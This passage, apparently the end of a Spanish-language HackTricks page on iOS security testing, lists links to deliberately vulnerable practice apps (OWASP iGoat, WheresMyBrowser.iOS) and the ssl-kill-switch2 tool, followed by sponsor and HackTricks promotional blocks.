* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Versión Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Versión Swift
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas**.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>